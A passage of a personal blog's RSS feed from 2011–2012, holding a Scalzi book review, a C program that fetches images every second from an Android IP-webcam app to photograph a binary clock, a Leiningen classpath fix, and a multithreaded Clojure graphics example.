<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>My Minutes (Benjamin Peter)</title>
	<atom:link href="http://myminutes.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://myminutes.wordpress.com</link>
	<description>Linux, Code, Life</description>
	<lastBuildDate>Thu, 05 Jan 2012 21:45:06 +0000</lastBuildDate>
	<language>de</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='myminutes.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>My Minutes (Benjamin Peter)</title>
		<link>http://myminutes.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://myminutes.wordpress.com/osd.xml" title="My Minutes (Benjamin Peter)" />
	<atom:link rel='hub' href='http://myminutes.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Short review: Zoe&#8217;s Tale from John Scalzi (Old Man&#8217;s War)</title>
		<link>http://myminutes.wordpress.com/2012/01/05/short-review-zoes-tale-from-john-scalzi-old-mans-war/</link>
		<comments>http://myminutes.wordpress.com/2012/01/05/short-review-zoes-tale-from-john-scalzi-old-mans-war/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 21:33:08 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Nicht technisch]]></category>
		<category><![CDATA[book review]]></category>
		<category><![CDATA[john scalzi]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[scalzi]]></category>
		<category><![CDATA[sci-fi]]></category>
		<category><![CDATA[zoe]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=391</guid>
		<description><![CDATA[This a short review I wrote about Zoe&#8217;s Tale, the fourth book in the Old Man&#8217;s War universe. A great, easy to read and modern series for sci-fi fans. When I started reading I was just happy there was something more about the Old Man&#8217;s War universe and it would be interesting to hear the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=391&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This a short review I wrote about <a href="www.amazon.de/gp/product/0765356198">Zoe&#8217;s Tale</a>, the fourth book in the <a href="http://en.wikipedia.org/wiki/John_Scalzi#Old_Man.27s_War_universe">Old Man&#8217;s War</a> universe. A great, easy to read and modern series for sci-fi fans.</p>
<p>When I started reading I was just happy there was something more about the Old Man&#8217;s War universe and it would be interesting to hear the same story from a different perspective.</p>
<p>But it was more than just another perspective it extends it by tells a new story at the same time &#8211; not boring you with a lot of things you already heard. But you kind of see where the Scalzi tries to catch up with history.</p>
<p>At the beginning, the book does not read so fluently I must admit. Seeing the world from the eyes of a sixteen year old girl can be annoying &#8211; even if authentic. I kind of got the feeling even Scalzi had to get into writing from this point of view, assuming he even started with the beginning of the book. <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>After a while all of this vanishes and you build up a lot of sympathy with Zoe and resolving in a pleasing ending. I am usually disappointed by book&#8217;s endings &#8211; being unspectacular &#8211; in this book there are no world ending battles to expect and the end is known anyway but there was kind of a showdown for me.</p>
<p>This book is a valuable part of Old Man&#8217;s War with place for topics that might have come a bit short in the other books. Thank you John Scalzi.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/391/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/391/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=391&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2012/01/05/short-review-zoes-tale-from-john-scalzi-old-mans-war/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>
	</item>
		<item>
		<title>Android phone as webcam to capture binary clock patterns</title>
		<link>http://myminutes.wordpress.com/2012/01/03/android-phone-as-webcam-to-capture-binary-clock-patterns/</link>
		<comments>http://myminutes.wordpress.com/2012/01/03/android-phone-as-webcam-to-capture-binary-clock-patterns/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 21:04:56 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Technisch]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[binary clock]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[coincidence]]></category>
		<category><![CDATA[pictures]]></category>
		<category><![CDATA[smartphone]]></category>
		<category><![CDATA[webcam]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=372</guid>
		<description><![CDATA[A while ago I got a binary clock for my birthday by some college friends (thank you again at this point). When you watch it from the sofa, you can sometimes see it creating some interesting or funny shapes and I wondered how many of them are there. Sure, you could write a program to [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=372&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>A while ago I got a <a href="http://myminutes.files.wordpress.com/2012/01/imag0368.jpg">binary clock</a> for my birthday by some college friends (thank you again at this point). When you watch it from the sofa, you can sometimes see it creating some interesting or funny shapes and I wondered how many of them are there.</p>
<p>Sure, you could write a program to generate all combinations but I wanted to make a photo for each of the clock&#8217;s states. Since I don&#8217;t have a webcam or something more advanced &#8211; the idea was to use my android phone.</p>
<p>Searching for an app, I found this really great and easy one <a href="https://market.android.com/details?id=com.pas.webcam&amp;hl=en">IP Webcam</a> which allows you to take shots via HTTP or and directly grab an image from the video buffer. Luckily this was fast enough to make a picture every second. This was not the case when I tried using the auto focus and normal photo mode.</p>
<p>I wrote a little C program to print out seconds and microseconds to analyze the camera&#8217;s delay by taking a shot of the screen. The result surprised me a little since the picture was actually from before it was triggered and not after.<br />
The explanation is at hand, the picture from the camera is buffered on the phone or the app and you simple get a snapshot of what is ready at that time.</p>
<p>I&#8217;ll just dump the source code of the program to take a shot every second here and with some interesting pictures I found after recording about ten hours. one to ten o&#8217;clock.</p>

<a href='http://myminutes.wordpress.com/2012/01/03/android-phone-as-webcam-to-capture-binary-clock-patterns/binary_clock_pics1/' title='binary_clock_pics1'><img data-attachment-id='387' data-orig-size='1956,1476' data-liked='0'width="150" height="113" src="http://myminutes.files.wordpress.com/2012/01/binary_clock_pics1.png?w=150&#038;h=113" class="attachment-thumbnail" alt="binary_clock_pics1" title="binary_clock_pics1" /></a>
<a href='http://myminutes.wordpress.com/2012/01/03/android-phone-as-webcam-to-capture-binary-clock-patterns/binary_clock_pics2/' title='binary_clock_pics2'><img data-attachment-id='386' data-orig-size='1956,1476' data-liked='0'width="150" height="113" src="http://myminutes.files.wordpress.com/2012/01/binary_clock_pics2.png?w=150&#038;h=113" class="attachment-thumbnail" alt="binary_clock_pics2" title="binary_clock_pics2" /></a>
<a href='http://myminutes.wordpress.com/2012/01/03/android-phone-as-webcam-to-capture-binary-clock-patterns/binary_clock_pics3/' title='binary_clock_pics3'><img data-attachment-id='385' data-orig-size='2608,1476' data-liked='0'width="150" height="84" src="http://myminutes.files.wordpress.com/2012/01/binary_clock_pics3.png?w=150&#038;h=84" class="attachment-thumbnail" alt="binary_clock_pics3" title="binary_clock_pics3" /></a>
<a href='http://myminutes.wordpress.com/2012/01/03/android-phone-as-webcam-to-capture-binary-clock-patterns/imag0368/' title='My Binary Clock'><img data-attachment-id='376' data-orig-size='2592,1552' data-liked='0'width="150" height="89" src="http://myminutes.files.wordpress.com/2012/01/imag0368.jpg?w=150&#038;h=89" class="attachment-thumbnail" alt="My Binary Clock" title="My Binary Clock" /></a>
<a href='http://myminutes.wordpress.com/2012/01/03/android-phone-as-webcam-to-capture-binary-clock-patterns/picture-2/' title='Timer picture to test the camera speed'><img data-attachment-id='396' data-orig-size='1280,800' data-liked='0'width="150" height="93" src="http://myminutes.files.wordpress.com/2012/01/picture-2.png?w=150&#038;h=93" class="attachment-thumbnail" alt="Timer picture to test the camera speed" title="Timer picture to test the camera speed" /></a>

<p><pre class="brush: cpp;">/* makeshots.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;time.h&gt;

#define MSSLEEP &quot;./mssleep&quot;
#define CAMERA_LATENCY &quot;350000&quot;
#define CAMERA_URL &quot;\&quot;http://192.168.1.112:8080/shot.jpg\&quot;&quot;
// printf
#define TIMEFORMAT &quot;%010ld,%06ld&quot;
// strftime
#define OUTTIMEFORMAT &quot;%H_%M_%S&quot;

#define MINUTE 60l
#define HOUR (60l * MINUTE)
// 86_400 pictures per 24 hours
#define RUNTIME (10l * HOUR + MINUTE)
#define LOOPWAIT_MS 2000

void shoot() {
  char shoot_cmd[256];
  char timestamp[128];
  struct tm tmine;
  time_t rawtime;

  time (&amp;rawtime);
  localtime_r(&amp;rawtime, &amp;tmine);

  strftime(timestamp, 128, OUTTIMEFORMAT, &amp;tmine);
  snprintf(
    shoot_cmd,
    256,
    &quot;(&quot;MSSLEEP&quot; &quot;CAMERA_LATENCY&quot;; curl -s -S &quot;CAMERA_URL&quot; -o out/%s.jpg 2&gt;&gt; curl.log) &amp;&quot;,
    timestamp
  );
  system(shoot_cmd); // returns immediately
}

int main(int argc, char **argv) {
  struct timeval t;
  struct timezone tz;

  // init
  if (gettimeofday(&amp;t, &amp;tz)) {
    perror(&quot;gettimeofday in init failed&quot;);
  }
  time_t start_sec = t.tv_sec;
  time_t lastsec   = t.tv_sec;

  while (t.tv_sec - start_sec &lt; RUNTIME) {
    if (gettimeofday(&amp;t, &amp;tz)) {
      perror(&quot;gettimeofday in loop failed&quot;);
    }
    printf(TIMEFORMAT, (long) t.tv_sec, (long) t.tv_usec);

    // Shoot every second
    if (t.tv_sec - lastsec &gt; 0) {
      lastsec = t.tv_sec;
      shoot();
    }

    usleep(LOOPWAIT_MS);
    // Must be as long as TIMEFORMAT
    printf(&quot;\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r&quot;);
  }
  printf(&quot;\n&quot;);
  return EXIT_SUCCESS;
}</pre></p>
<p><pre class="brush: cpp;">/* mssleep.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;

int main(int argc, char **argv) {
  if (argc != 2) {
    fprintf(stderr, &quot;%s: &lt;milliseconds&gt;\n&quot;, argv[0]);
    return EXIT_FAILURE;
  }

  long ms = atol(argv[1]);
  usleep((useconds_t) ms);
  return EXIT_SUCCESS;
}
</pre></p>
<p>I was using <em>C</em> to get a good performance but mostly since it has been a while and I wanted to get my hands on it again. The code runs on mac osx leopard using <em>gcc</em>. <em>curl</em> must be installed.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/372/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/372/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/372/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/372/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/372/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/372/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/372/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/372/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/372/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/372/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/372/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/372/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/372/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/372/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=372&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2012/01/03/android-phone-as-webcam-to-capture-binary-clock-patterns/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2012/01/binary_clock_pics1.png?w=150" medium="image">
			<media:title type="html">binary_clock_pics1</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2012/01/binary_clock_pics2.png?w=150" medium="image">
			<media:title type="html">binary_clock_pics2</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2012/01/binary_clock_pics3.png?w=150" medium="image">
			<media:title type="html">binary_clock_pics3</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2012/01/imag0368.jpg?w=150" medium="image">
			<media:title type="html">My Binary Clock</media:title>
		</media:content>

		<media:content url="http://myminutes.files.wordpress.com/2012/01/picture-2.png?w=150" medium="image">
			<media:title type="html">Timer picture to test the camera speed</media:title>
		</media:content>
	</item>
		<item>
		<title>clojure lein gives error &#8222;Exception in thread &#8222;main&#8220; java.lang.RuntimeException: java.lang.NoSuchMethodError: clojure.lang.KeywordLookupSite &#8230;&#8220;</title>
		<link>http://myminutes.wordpress.com/2011/12/01/clojure-lein-gives-error-exception-in-thread-main-java-lang-runtimeexception-java-lang-nosuchmethoderror-clojure-lang-keywordlookupsite/</link>
		<comments>http://myminutes.wordpress.com/2011/12/01/clojure-lein-gives-error-exception-in-thread-main-java-lang-runtimeexception-java-lang-nosuchmethoderror-clojure-lang-keywordlookupsite/#comments</comments>
		<pubDate>Thu, 01 Dec 2011 22:13:24 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Technisch]]></category>
		<category><![CDATA[classpath]]></category>
		<category><![CDATA[clojure]]></category>
		<category><![CDATA[exception]]></category>
		<category><![CDATA[KeywordLookupSite]]></category>
		<category><![CDATA[lein]]></category>
		<category><![CDATA[problems]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=369</guid>
		<description><![CDATA[For all of you searching for this problem when running lein (1.6) and clojure (1.3). You have to add the clojure directory to your classpath. Simple as that. :-\ $ lein help Exception in thread "main" java.lang.RuntimeException: java.lang.NoSuchMethodError: clojure.lang.KeywordLookupSite.(ILclojure/lang/Keyword;)V at clojure.lang.Util.runtimeException(Util.java:165) at clojure.lang.Compiler.eval(Compiler.java:6476) at clojure.lang.Compiler.eval(Compiler.java:6431) at clojure.core$eval.invoke(core.clj:2795) at clojure.main$eval_opt.invoke(main.clj:296) at clojure.main$initialize.invoke(main.clj:315) at clojure.main$script_opt.invoke(main.clj:339) at clojure.main$main.doInvoke(main.clj:426) [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=369&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>For all of you searching for this problem when running lein (1.6) and clojure (1.3). You have to add the clojure directory to your classpath. Simple as that. :-\</p>
<p><code>$ lein help<br />
Exception in thread "main" java.lang.RuntimeException: java.lang.NoSuchMethodError: clojure.lang.KeywordLookupSite.(ILclojure/lang/Keyword;)V<br />
	at clojure.lang.Util.runtimeException(Util.java:165)<br />
	at clojure.lang.Compiler.eval(Compiler.java:6476)<br />
	at clojure.lang.Compiler.eval(Compiler.java:6431)<br />
	at clojure.core$eval.invoke(core.clj:2795)<br />
	at clojure.main$eval_opt.invoke(main.clj:296)<br />
	at clojure.main$initialize.invoke(main.clj:315)<br />
	at clojure.main$script_opt.invoke(main.clj:339)<br />
	at clojure.main$main.doInvoke(main.clj:426)<br />
	at clojure.lang.RestFn.invoke(RestFn.java:457)<br />
	at clojure.lang.Var.invoke(Var.java:413)<br />
	at clojure.lang.AFn.applyToHelper(AFn.java:172)<br />
	at clojure.lang.Var.applyTo(Var.java:518)<br />
	at clojure.main.main(main.java:37)<br />
Caused by: java.lang.NoSuchMethodError: clojure.lang.KeywordLookupSite.(ILclojure/lang/Keyword;)V<br />
	at leiningen.util.paths$native_arch_path.(paths.clj:32)<br />
	at leiningen.util.paths__init.load(Unknown Source)<br />
	at leiningen.util.paths__init.(Unknown Source)<br />
	at java.lang.Class.forName0(Native Method)<br />
	at java.lang.Class.forName(Class.java:247)<br />
	at clojure.lang.RT.loadClassForName(RT.java:2030)<br />
	at clojure.lang.RT.load(RT.java:417)<br />
	at clojure.lang.RT.load(RT.java:398)<br />
	at clojure.core$load$fn__4610.invoke(core.clj:5386)<br />
	at clojure.core$load.doInvoke(core.clj:5385)<br />
	at clojure.lang.RestFn.invoke(RestFn.java:408)<br />
	at clojure.core$load_one.invoke(core.clj:5200)<br />
	at clojure.core$load_lib.doInvoke(core.clj:5237)<br />
	at clojure.lang.RestFn.applyTo(RestFn.java:142)<br />
	at clojure.core$apply.invoke(core.clj:602)<br />
	at clojure.core$load_libs.doInvoke(core.clj:5271)<br />
	at clojure.lang.RestFn.applyTo(RestFn.java:137)<br />
	at clojure.core$apply.invoke(core.clj:602)<br />
	at clojure.core$require.doInvoke(core.clj:5352)<br />
	at clojure.lang.RestFn.invoke(RestFn.java:408)<br />
	at leiningen.core$loading__4414__auto__.invoke(core.clj:1)<br />
	at leiningen.core__init.load(Unknown Source)<br />
	at leiningen.core__init.(Unknown Source)<br />
	at java.lang.Class.forName0(Native Method)<br />
	at java.lang.Class.forName(Class.java:247)<br />
	at clojure.lang.RT.loadClassForName(RT.java:2030)<br />
	at clojure.lang.RT.load(RT.java:417)<br />
	at clojure.lang.RT.load(RT.java:398)<br />
	at clojure.core$load$fn__4610.invoke(core.clj:5386)<br />
	at clojure.core$load.doInvoke(core.clj:5385)<br />
	at clojure.lang.RestFn.invoke(RestFn.java:408)<br />
	at clojure.core$load_one.invoke(core.clj:5200)<br />
	at clojure.core$load_lib.doInvoke(core.clj:5237)<br />
	at clojure.lang.RestFn.applyTo(RestFn.java:142)<br />
	at clojure.core$apply.invoke(core.clj:602)<br />
	at clojure.core$load_libs.doInvoke(core.clj:5271)<br />
	at clojure.lang.RestFn.applyTo(RestFn.java:137)<br />
	at clojure.core$apply.invoke(core.clj:604)<br />
	at clojure.core$use.doInvoke(core.clj:5363)<br />
	at clojure.lang.RestFn.invoke(RestFn.java:408)<br />
	at user$eval1.invoke(NO_SOURCE_FILE:1)<br />
	at clojure.lang.Compiler.eval(Compiler.java:6465)<br />
	... 11 more<br />
</code></p>
<p>Setting the paths:</p>
<p><code><br />
echo "export CLOJURE_HOME=$HOME/Opt/clojure<br />
export CLASSPATH=$CLASSPATH:$CLOJURE_HOME" &gt;&gt; $HOME/.profile<br />
</code></p>
<p>lein works, tadaaa:</p>
<p><code>$ lein help<br />
Leiningen is a tool for working with Clojure projects.</p>
<p>Several tasks are available:<br />
classpath   Print the classpath of the current project.<br />
</code></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/369/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/369/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/369/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/369/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/369/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/369/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/369/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/369/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/369/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/369/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/369/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/369/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/369/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/369/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=369&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2011/12/01/clojure-lein-gives-error-exception-in-thread-main-java-lang-runtimeexception-java-lang-nosuchmethoderror-clojure-lang-keywordlookupsite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>
	</item>
		<item>
		<title>Clojure example from &#8222;The Joy Of Clojure&#8220; parallelized</title>
		<link>http://myminutes.wordpress.com/2011/10/23/clojure-example-from-the-joy-of-clojure-parallelized/</link>
		<comments>http://myminutes.wordpress.com/2011/10/23/clojure-example-from-the-joy-of-clojure-parallelized/#comments</comments>
		<pubDate>Sun, 23 Oct 2011 18:49:55 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Technisch]]></category>
		<category><![CDATA[clojure]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[concurrent]]></category>
		<category><![CDATA[graphical]]></category>
		<category><![CDATA[parallel]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=347</guid>
		<description><![CDATA[I am currently reading &#8222;The Joy Of Clojure&#8220; by Michael Fogus and Chris Houser &#8211; a great book to see the &#8222;why&#8220; behind the clojure way. You should have had a look into clojure before and be willing to read a lot of docs besides the book. In the book there is a simple example [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=347&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I am currently reading <a href="http://www.amazon.de/Joy-Clojure-Thinking-Way/dp/1935182641/ref=sr_1_1?ie=UTF8&amp;qid=1319392131&amp;sr=8-1">&#8222;The Joy Of Clojure&#8220;</a> by Michael Fogus and Chris Houser &#8211; a great book to see the &#8222;why&#8220; behind the clojure way. You should have had a look into clojure before and be willing to read a lot of docs besides the book.</p>
<p>In the book there is a simple example program to display a nice graphic, created by applying xor to the pixel coordinates and using them as grayscale color value. The chapter is &#8222;Using the REPL to experiment&#8220;.<br />
While reading this part, I thought it would be nice to have that algorithm for parallel processing and experimented a little bit.</p>
<p>The following listing is the result, it modified the original and uses simple threading and the &#8222;locking&#8220; macro. It is also interesting to see what happens if you leave out the synchronizing between setting the color and drawing the pixel, as you can see in the screenshots. I hope the original author is okay with using his examples.</p>
<p>Simply paste it to your REPL and try it out.</p>
<pre>(defn
  ^{:doc "Calculate the color for a coordinate x and y by applying the given
function. Offset and max values can be specified as input." }
  f-valueso [f xoffset xmax yoffset ymax]
  (for [x (range xoffset xmax) y (range yoffset ymax)
          :let [v (rem (f x y) 256)]]
    [x y (if (&lt; v 0) (* -1 v) v)]
  )
)

(defn
  ^{:doc &quot;Devides the given value in &#039;parts&#039; equal parts. For
example 200 2 will become [[0 100] [100 200]]&quot;}
  from-to-parts [value parts]
  (loop [
    steps (conj (vec (range 0 value (int (/ value parts)))) value)
    result []
    ]
    (if (seq (rest steps))
      (recur (rest steps) (conj result [(first steps) (second steps)]))
      result
    )
  )
)

; Initialize the frame
(def frame (java.awt.Frame.))
(.setVisible frame true)
(.setSize frame (java.awt.Dimension. 256 256))
(.setLocation frame 300 300)
; Graphics size is only as big as the frame was at getGraphics times
; (that had cost me some time ...)
(def gfx (.getGraphics frame))

(defn clear
  ([g] (.clearRect g 0 0 256 256))
  ([g x y] (.clearRect g 0 0 x y))
)

(defn
  ^{:doc &quot;Draw the picture in a specified area using the color function.&quot;}
  draw-part [gfx f xoffset xmax yoffset ymax]
  (doseq [[x y v] (f-valueso f xoffset xmax yoffset ymax)]
;    (Thread/sleep 1) Uncomment this if it draws too fast
    (locking gfx
      (.setColor gfx (java.awt.Color. v v v))
      (.fillRect gfx x y 1 1)
    )
  )
)

(defn
    ^{:doc &quot;Draw a picture to &#039;gfx&#039; that is created by using the
given color function. Use &#039;n&#039; threads to create the picture from
0 to x/y max&quot;}
  draw-valuesp [f xmax ymax n]
  (clear gfx)
  (.setSize frame (java.awt.Dimension. xmax ymax))
  (def gfx (.getGraphics frame))
  (clear gfx xmax ymax)
  (doseq [
    [xoffset xmax] (from-to-parts xmax n)
    [yoffset ymax] (from-to-parts ymax n)
  ]
    (.start (Thread.
      #(draw-part gfx f xoffset xmax yoffset ymax)
    ))
  )
)

(draw-valuesp bit-xor 256 256 3)</pre>
<p style="clear:both;">The result:<br />
<a href="http://myminutes.files.wordpress.com/2011/10/result.png"><img src="http://myminutes.files.wordpress.com/2011/10/result.png?w=300&#038;h=300" alt="" title="Result" width="300" height="300" class="alignleft size-medium wp-image-350" /></a></p>
<p style="clear:both;">Multithreaded version during processing:<br />
<a href="http://myminutes.files.wordpress.com/2011/10/multihreaded.png"><img src="http://myminutes.files.wordpress.com/2011/10/multihreaded.png?w=300&#038;h=300" alt="" title="Multihreaded in action" width="300" height="300" class="alignleft size-medium wp-image-351" /></a></p>
<p style="clear:both;">Result without synchronization:<br />
<a href="http://myminutes.files.wordpress.com/2011/10/unsynchronized.png"><img src="http://myminutes.files.wordpress.com/2011/10/unsynchronized.png?w=300&#038;h=300" alt="" title="Unsynchronized result" width="300" height="300" class="alignleft size-medium wp-image-352" /></a></p>
<p></p>
<p style="clear:both;">I am aware that there is not much concurrency in the problem and it is not the greatest example to show the power of clojure&#8217;s capabilities. But that wasn&#8217;t the point of it.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/347/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/347/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/347/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/347/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/347/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/347/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/347/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/347/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/347/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/347/" 